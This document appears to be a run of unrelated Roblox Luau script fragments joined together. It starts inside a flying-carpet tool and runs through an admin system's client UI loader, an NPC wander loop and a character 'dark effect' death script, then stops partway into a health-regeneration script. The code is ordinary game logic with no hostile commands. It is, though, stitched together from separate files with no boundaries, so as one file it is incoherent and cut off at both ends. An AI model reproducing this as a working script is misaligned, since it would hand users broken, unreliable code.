RemovalMonitor:Clone() RemovalMonitorClone.Disabled = false RemovalMonitorClone.Parent = Model end return Model end function CheckIfAlive() return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false) end function Activated() if not Tool.Enabled then return end Tool.Enabled = false Flying = not Flying if Flying then Handle.Transparency = 1 CleanUp() local CarpetParts = {} for i, v in pairs(CarpetPieces) do local CarpetPart = BasePart:Clone() CarpetPart.Size = Vector3.new(CarpetSize.X, CarpetSize.Y, (CarpetSize.Z / #CarpetPieces)) local Mesh = Instance.new("SpecialMesh") Mesh.MeshType = Enum.MeshType.FileMesh Mesh.MeshId = (BaseUrl .. v.MeshId) Mesh.TextureId = (BaseUrl .. "223080038") Mesh.Scale = Vector3.new(1.125, 1.125, 1.125) Mesh.VertexColor = Vector3.new(1, 1, 1) Mesh.Offset = Vector3.new(0, 0, 0) Mesh.Parent = CarpetPart local Weld = Instance.new("Weld") Weld.Part0 = Handle Weld.Part1 = CarpetPart local XOffset = (((i == 1 or i == #CarpetPieces) and -0.005) or 0) local YOffset = ((-((Handle.Size.Z / 2) - (CarpetPart.Size.Z / 2))) + ((CarpetPart.Size.Z * (i - 1))) + ((i == 2 and 0.245) or (i == 3 and 0.04) or (i == #CarpetPieces and 0.28) or 0)) Weld.C1 = CFrame.new(0, XOffset, YOffset) Weld.Parent = CarpetPart table.insert(CarpetParts, {Part = CarpetPart, Weld = Weld, InitialCFrame = Weld.C0, Angle = v.Angle}) CarpetPart.Parent = Tool end Spawn(function() local animname = "Sit" if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then animname = animname.."R15" end InvokeClient("PlayAnimation", Animations[animname]) Tool.Grip = Grips.Flying end) FlightSpin = Instance.new("BodyGyro") FlightSpin.Name = "FlightSpin" FlightSpin.P = 1000000 FlightSpin.maxTorque = Vector3.new(FlightSpin.P, FlightSpin.P, FlightSpin.P) FlightSpin.cframe = Torso.CFrame FlightPower = Instance.new("BodyVelocity") FlightPower.Name = "FlightPower" FlightPower.velocity = Vector3.new(0, 0, 0) FlightPower.P = 1000000 FlightPower.maxForce = Vector3.new(FlightPower.P, FlightPower.P, FlightPower.P) FlightPower.P = 10000 FlightHold = Instance.new("BodyPosition") FlightHold.Name = "FlightHold" FlightHold.P = 100000 FlightHold.maxForce = Vector3.new(0, 0, 0) FlightHold.position = Torso.Position FlightSpin.Parent = Torso FlightPower.Parent = Torso FlightHold.Parent = Torso Spawn(function() local LastPlace = nil while Flying and ToolEquipped and CheckIfAlive() do local CurrentPlace = Handle.Position local Velocity = Torso.Velocity Velocity = Vector3.new(Velocity.X, 0, Velocity.Z).magnitude if LastPlace and Velocity > 10 then Spawn(function() local Model = GetRainbowModel() local Distance = (LastPlace - CurrentPlace).magnitude local Length = Distance + 3.5 local RainbowModel = CreateRainbow(Length) --Thanks so much to ArceusInator for helping solve this part! local RainbowCFrame = CFrame.new((LastPlace + (CurrentPlace - LastPlace).unit * (Distance / 2)), CurrentPlace) TransformModel(RainbowModel, RainbowModel:GetModelCFrame(), RainbowCFrame, true) Debris:AddItem(RainbowModel, 1) RainbowModel.Parent = Model if Model and not Model.Parent then Model.Parent = game:GetService("Workspace") end LastPlace = CurrentPlace end) elseif not LastPlace then LastPlace = CurrentPlace end wait(Rate) end end) elseif not Flying then Torso.Velocity = Vector3.new(0, 0, 0) Torso.RotVelocity = Vector3.new(0, 0, 0) for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end Spawn(function() Tool.Grip = Grips.Normal local animname = "Sit" if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then animname = animname.."R15" end InvokeClient("StopAnimation", Animations[animname]) end) end wait(2) Tool.Enabled = true end function Equipped(Mouse) Character = Tool.Parent Humanoid = Character:FindFirstChild("Humanoid") Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso") Player = Players:GetPlayerFromCharacter(Character) if not CheckIfAlive() then return end Tool.Grip = Grips.Normal ToolEquipped = true end function Unequipped() Flying = false for i, v in pairs({FlightSpin, FlightPower, FlightHold}) do if v and v.Parent then v:Destroy() end end CleanUp() Handle.Transparency = 0 ToolEquipped = false end function OnServerInvoke(player, mode, value) if player ~= Player or not ToolEquipped or not value or not CheckIfAlive() then return end end function InvokeClient(Mode, Value) local ClientReturn = nil pcall(function() ClientReturn = ClientControl:InvokeClient(Player, Mode, Value) end) return ClientReturn end CleanUp() ServerControl.OnServerInvoke = OnServerInvoke Tool.Activated:connect(Activated) Tool.Equipped:connect(Equipped) Tool.Unequipped:connect(Unequipped)
--// Processing
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local UIFolder = client.UIFolder local script = script local service = Vargs.Service local client = Vargs.Client local GetEnv = env.GetEnv local Anti, Core, Functions, Process, Remote, UI, Variables, Deps local CloneTable, TrackTask local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Deps = client.Deps; CloneTable = service.CloneTable; TrackTask = service.TrackTask; UI.Init = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] UI.DefaultTheme = Remote.Get("Setting","DefaultTheme"); UI.RunLast = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.UI = { Init = Init; RunLast = RunLast; GetHolder = function() if UI.Holder and UI.Holder.Parent == service.PlayerGui then return UI.Holder else pcall(function()if UI.Holder then UI.Holder:Destroy()end end) local new = service.New("ScreenGui", { Name = Functions.GetRandom(), Parent = service.PlayerGui, }); UI.Holder = new return UI.Holder end end; Prepare = function(gui) if true then return gui end --// Disabled local gTable = UI.Get(gui,false,true) if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then local new = Instance.new("TextLabel") new.BackgroundTransparency = 1 new.Size = UDim2.new(1,0,1,0) new.Name = gui.Name new.Active = true new.Text = "" for ind,child in gui:GetChildren() do child.Parent = new end if gTable then gTable:Register(new) end gui:Destroy() return new else return gui end end; LoadModule = function(module, data, env) data = data or {} local ran, func = pcall(require, module) local newEnv = GetEnv(env, { script = module, client = CloneTable(client), service = CloneTable(service) }) if newEnv.service.Threads then newEnv.service.Threads = CloneTable(service.Threads) end for i,v in newEnv.client do if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then newEnv.client[i] = CloneTable(v) end end if ran then --// Temporarily disabled NoEnv; it seems to be causing some issues(?) --// ~ Expertcoderz --[[if (data.isModifier and not data.modNoEnv) or (not data.isModifier and data.isCode and not data.NoEnv) then setfenv(func, env) end]] local rets = { TrackTask(`UI: {module:GetFullName()}`, --func, setfenv(func, newEnv), data, newEnv ) } if rets[1] then return unpack(rets, 2) else warn("Error while running module", module.Name, rets[2]) client.LogError(`Error loading {module.Name} - {rets[2]}`) end else warn("Error while loading module", module.Name, tostring(func)) end end; GetNew = function(theme, name) local foundConfigs = {} local endConfig = {} local endConfValues = {} local confFolder = Instance.new("Folder") local debounce = false local function func(theme, name, depth) local depth = (depth or 11) - 1 local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default if folder then local baseValue = folder:FindFirstChild("Base_Theme") local baseTheme = baseValue and baseValue.Value local foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name) if foundGUI then local config = foundGUI:FindFirstChild("Config") table.insert(foundConfigs, { Theme = theme; Folder = folder; Name = name; Found = foundGUI; Config = config; isModule = foundGUI:IsA("ModuleScript"); }) if config then baseValue = config:FindFirstChild("BaseTheme") or baseValue baseTheme = baseValue and baseValue.Value end end if baseTheme and depth > 0 then if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then func(UI.DefaultTheme, name, depth) else debounce = true func(baseTheme, name, depth) end end end end --// Find GUI and all default versions under it func(theme, name) confFolder.Name = "Config" --// Create the final config for the found GUI. if #foundConfigs > 0 then --// Combine all configs found in order to build full config (in order of closest from target gui to furthest) for i,v in foundConfigs do if v.Config then for k,m in v.Config:GetChildren() do if not endConfig[m.Name] then if string.sub(m.Name, 1, 5) == "NoEnv" then endConfig["Code"] = m end endConfig[m.Name] = m end end end end --// Load all config values into the new Config folder for i,v in endConfig do v:Clone().Parent = confFolder; end --// Find next module based theme GUI if code not found or first in sequence is module (in theme) if foundConfigs[1].isModule then return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder elseif not endConfig.Code then warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236") end --// Get rid of an old Config folder and throw the new combination Config folder in local new = foundConfigs[1].Found:Clone() local oldFolder = new:FindFirstChild'Config' if oldFolder then oldFolder:Destroy() end confFolder.Parent = new return new, foundConfigs[1].Folder, confFolder end end; Make = function(name, data, themeData) data = data or {} themeData = themeData or Variables.LastServerTheme or {Desktop = "Default"; Mobile = "Mobilius"} local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default --// Check for any childs with 'NoEnv' and trigger NoEnv --// Enforce NoEnv to ensure theme is using it. if not data.NoEnv and folder:FindFirstChild("NoEnv") then data.NoEnv = true data.modNoEnv = true end --// folder2 local newGui, _, foundConf = UI.GetNew(theme, name) if newGui then local isModule = newGui:IsA("ModuleScript") local conf = newGui:FindFirstChild("Config") local mod = conf and (conf:FindFirstChild("Modifier") or conf:FindFirstChild("NoEnv-Modifier")) if mod and not data.modNoEnv then data.modNoEnv = string.sub(mod.Name, 1, 5) == "NoEnv" end if isModule then return UI.LoadModule(newGui, data, { script = newGui; }) elseif conf and foundConf and foundConf ~= true then local code = foundConf:FindFirstChild("Code") or foundConf:FindFirstChild("NoEnv-Code") if not data.NoEnv and code then data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv" end local mult = foundConf.AllowMultiple --local keep = foundConf.CanKeepAlive local allowMult = mult and mult.Value or true local found, num = UI.Get(name) if not found or ((num and num>0) and allowMult) then local gTable,gIndex = UI.Register(newGui) if folder:IsA("ModuleScript") then local folderNoEnv = string.sub(folder.Name, 1, 5) == "NoEnv" or folder:FindFirstChild("NoEnv") local newEnv = GetEnv{{ script = folder, gTable = gTable }} local ran, func = pcall(require, folder) local rets = { --// NoEnv temporarily disabled ~ Expertcoderz --[[if folderNoEnv then pcall(func, newGui, gTable, data, newEnv) else]] pcall(setfenv(func, newEnv), newGui, gTable, data, newEnv) } local ran, ret = rets[1], rets[2] if ret ~= nil then if type(ret) == "userdata" and Anti.GetClassName(ret) == "ScreenGui" then code = (ret:FindFirstChild("Config") and (ret.Config:FindFirstChild("Code") or ret.Config:FindFirstChild("NoEnv-Code"))) or code if not data.NoEnv and code then data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv" end else return ret end end end newGui.Parent = Variables.GUIHolder newGui.Name = Functions.GetRandom() data.gIndex = gIndex data.gTable = gTable code.Parent = conf code.Name = name if mod then UI.LoadModule(mod, data, { script = mod; gTable = gTable; Data = data; GUI = newGui; isModifier = true; }) end return UI.LoadModule(code, data, { script = code; gTable = gTable; Data = data; GUI = newGui; Theme = theme; ThemeFolder = folder; isCode = true; }) end end else print("GUI", name, "not found") end end; Get = function(obj,ignore,returnOne) local found = {} local num = 0 if obj then for ind,g in client.GUIs do if g.Name ~= ignore and g.Object ~= ignore and g ~= ignore then if type(obj) == "string" then if g.Name == obj then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "userdata" then if service.RawEqual(g.Object, obj) then found[ind] = g num = num+1 if returnOne then return g end end elseif type(obj) == "boolean" and obj == true then found[ind] = g num = num+1 if returnOne then return g end end end end end if num<1 then return false else return found,num end end; Remove = function(name, ignore) if name == "Chat" and client.Handlers.RemoveCustomChat then client.Handlers.RemoveCustomChat() else local gui = UI.Get(name, ignore) if gui then for i,v in gui do v.Destroy() end end end end; Register = function(gui, data) local gIndex = Functions.GetRandom() local gTable;gTable = { Object = gui, Config = gui:FindFirstChild'Config'; Name = gui.Name, Events = {}, Class = gui.ClassName, Index = gIndex, Active = true, Ready = function() if gTable.Config then gTable.Config.Parent = nil end local ran,err = pcall(function() local obj = gTable.Object; if gTable.Class == "ScreenGui" or gTable.Class == "GuiMain" then if obj.DisplayOrder == 0 then obj.DisplayOrder = 90000 end obj.Enabled = true obj.Parent = service.PlayerGui else obj.Parent = UI.GetHolder() end end); if ran then gTable.Active = true else warn("Something happened while trying to set the parent of", gTable.Name) warn(err) gTable:Destroy() end end, BindEvent = function(event, func) local signal = event:Connect(func) local origDisc = signal.Disconnect local Events = gTable.Events local disc = function() origDisc(signal) for i,v in Events do if v.Signal == signal then table.remove(Events, i) end end end table.insert(Events, { Signal = signal; Remove = disc }) return { Disconnect = disc; disconnect = disc; wait = service.CheckProperty(signal, "wait") and signal.wait }, signal end, ClearEvents = function() for i,v in gTable.Events do v:Remove() end end, Destroy = function() pcall(function() if gTable.CustomDestroy then gTable.CustomDestroy() else service.UnWrap(gTable.Object):Destroy() end end) gTable.Destroyed = true gTable.Active = false client.GUIs[gIndex] = nil gTable.ClearEvents() end, UnRegister = function() client.GUIs[gIndex] = nil if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end end, Register = function(tab,new) if not new then new = tab end new:SetSpecial("Destroy", gTable.Destroy) gTable.Object = service.Wrap(new) gTable.Class = new.ClassName if gTable.AncestryEvent then gTable.AncestryEvent:Disconnect() end gTable.AncestryEvent = new.AncestryChanged:Connect(function(c, parent) if client.GUIs[gIndex] and rawequal(c, gTable.Object) then if gTable.Class == "TextLabel" and parent == service.PlayerGui then task.wait() gTable.Object.Parent = UI.GetHolder() elseif parent == nil and not gTable.KeepAlive then gTable:Destroy() elseif parent ~= nil then gTable.Active = true client.GUIs[gIndex] = gTable end end end) client.GUIs[gIndex] = gTable end } if data then for i,v in data do gTable[i] = v end end gui.Name = Functions.GetRandom() gTable:Register(gui) return gTable,gIndex end } client.UI.RegisterGui = client.UI.Register client.UI.GetGui = client.UI.Get client.UI.PrepareGui = client.UI.Prepare client.UI.MakeGui = client.UI.Make end
--!strict
local events = require(script.events) local install = require(script.install) local DevModuleInstaller: { [string]: any } = { verboseLogging = false, pruneDevelopmentFiles = true, started = events.started.Event, finished = events.finished.Event, } function DevModuleInstaller.install(devModule: Folder) return install(devModule, { verboseLogging = DevModuleInstaller.verboseLogging, pruneDevelopmentFiles = DevModuleInstaller.pruneDevelopmentFiles, }) end return DevModuleInstaller
--Change the color of the brush when the text box is used
brushSettings.ColorBox.FocusLost:Connect(function(entered) if entered then local color = brushSettings.ColorBox.Text color = string.gsub(color, " ", "") color = string.split(color, ",") if tonumber(color[1]) and tonumber(color[2]) and tonumber(color[3]) then currentColor = Color3.fromRGB(color[1], color[2], color[3]) end brushSettings.ColorBox.Text = math.floor(currentColor.R * 255 + 0.5) .. ", " .. math.floor(currentColor.G * 255 + 0.5) .. ", " .. math.floor(currentColor.B * 255 + 0.5) brushSettings.PaintImage.ImageColor3 = currentColor end end)
--// Tracer Vars
TracerTransparency = 0; TracerLightEmission = 1; TracerTextureLength = 0.1; TracerLifetime = 0.0005; TracerFaceCamera = true; TracerColor = BrickColor.new('White');
-- This script is what allows the Shop by UltraWorks to increment player's -- statistics according to the settings from the editor plugin. -- If you change something, almost 100% this script will break.
--Audio
local soundBank = game.ServerStorage.Sounds.NPC.Banto:GetChildren() banto.Health.Changed:connect(function() local hitSound = soundBank[math.random(1,#soundBank)]:Clone() hitSound.Parent = banto.PrimaryPart hitSound.PlayOnRemove = true wait() hitSound:Destroy() end) while true do bp.Parent = banto.PrimaryPart local goal repeat local ray = Ray.new(Vector3.new(origin.p.x+math.random(-tether,tether), banto.PrimaryPart.Position.Y+100, origin.p.z+math.random(-tether,tether)),Vector3.new(0,-130,0)) local part,pos,norm,mat = workspace:FindPartOnRay(ray,banto) if part == workspace.Terrain and mat ~= Enum.Material.Water then goal = pos+Vector3.new(0,2.25,0) end wait() until goal --Set new goal for banto to MoveTo :) walk:Play() local pos = banto.PrimaryPart.Position local cf = CFrame.new(Vector3.new(pos.X, 0, pos.Z), Vector3.new(goal.X, 0, goal.Z)) bg.CFrame = cf bp.Position = (cf*CFrame.new(0,0,-100)).p local start = tick() repeat task.wait(.5) local ray = Ray.new(banto.PrimaryPart.Position, Vector3.new(0,-140,0)) until (banto.PrimaryPart.Position-goal).magnitude < 10 or tick()-start >10 walk:Stop() bp.Parent = nil wait(math.random(3,8)) end
--Rescripted by Luckymaxer
Character = script.Parent Humanoid = Character:FindFirstChild("Humanoid") Players = game:GetService("Players") Debris = game:GetService("Debris") Player = Players:GetPlayerFromCharacter(Character) Creator = script:FindFirstChild("Creator") BaseColor = BrickColor.new("Really black") DarkProperties = { All = { --BrickColor = BaseColor, Material = Enum.Material.Plastic, TextureId = "", --Texture = "", VertexColor = Vector3.new(BaseColor.Color.r, BaseColor.Color.g, BaseColor.Color.b), BaseTextureId = 0, OverlayTextureId = 0, ShirtTemplate = "", PantsTemplate = "", SparkleColor = BaseColor.Color, Color = BaseColor.Color, SecondaryColor = BaseColor.Color, }, Class = { ParticleEmitter = { Color = ColorSequence.new(BaseColor.Color, BaseColor.Color), }, Sparkles = { Color = BaseColor.Color, SparkleColor = BaseColor.Color, }, Decal = { Texture = "", }, } } function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function GetAllInstances(Parent) local Instances = {} local function GetInstances(Parent) for i, v in pairs(Parent:GetChildren()) do table.insert(Instances, v) GetInstances(v) end end GetInstances(Parent) return Instances end function DarkEffect() UntagHumanoid(Humanoid) if Creator and Creator.Value and Creator.Value:IsA("Player") then TagHumanoid(Humanoid, Creator.Value) end Humanoid.Health = 0 Character:BreakJoints() local EffectedInstances = GetAllInstances(Character) local OriginalInstances = {} for i, v in pairs(EffectedInstances) do local Instance = {Object = v, Properties = {}} local PropertiesAltered = {} if v:IsA("Hat") or v:IsA("Tool") then for ii, vv in pairs(v:GetChildren()) do if vv:IsA("BasePart") then vv.Parent = v.Parent end end v:Destroy() elseif v:IsA("BasePart") then v.CanCollide = true v.Anchored = true Debris:AddItem(v, 10) end if v:IsA("BasePart") and v.Name == "HumanoidRootPart" then elseif v:IsA("Decal") and v.Name == "face" then elseif v:IsA("Clothing") then v:Destroy() else for ii, vv in pairs(DarkProperties.All) do pcall(function() Instance.Properties[ii] = v[ii] PropertiesAltered[ii] = true v[ii] = vv end) end for ii, vv in pairs(DarkProperties.Class) do if v:IsA(ii) then for iii, vvv in pairs(vv) do --if not PropertiesAltered[iii] then pcall(function() Instance.Properties[iii] = v[iii] v[iii] = vvv end) --end end end end end table.insert(OriginalInstances, Instance) end wait(0.25) for i, v in pairs(EffectedInstances) do if v:IsA("BasePart") then local BodyVelocity = Instance.new("BodyVelocity") BodyVelocity.velocity = (Vector3.new((math.random() - 0.5), 0, (math.random() - 0.5)).Unit * 80) BodyVelocity.maxForce = Vector3.new(100000, 100000, 100000) BodyVelocity.Parent = v v.Anchored = false end end end DarkEffect() script:Destroy()
-- Gradually regenerates the Humanoid's Health over time.
local REGEN_RATE = 1/200 -- Regenerate this fraction of MaxHealth per second. local REGEN_STEP = 1 -- Wait this long between each regeneration step.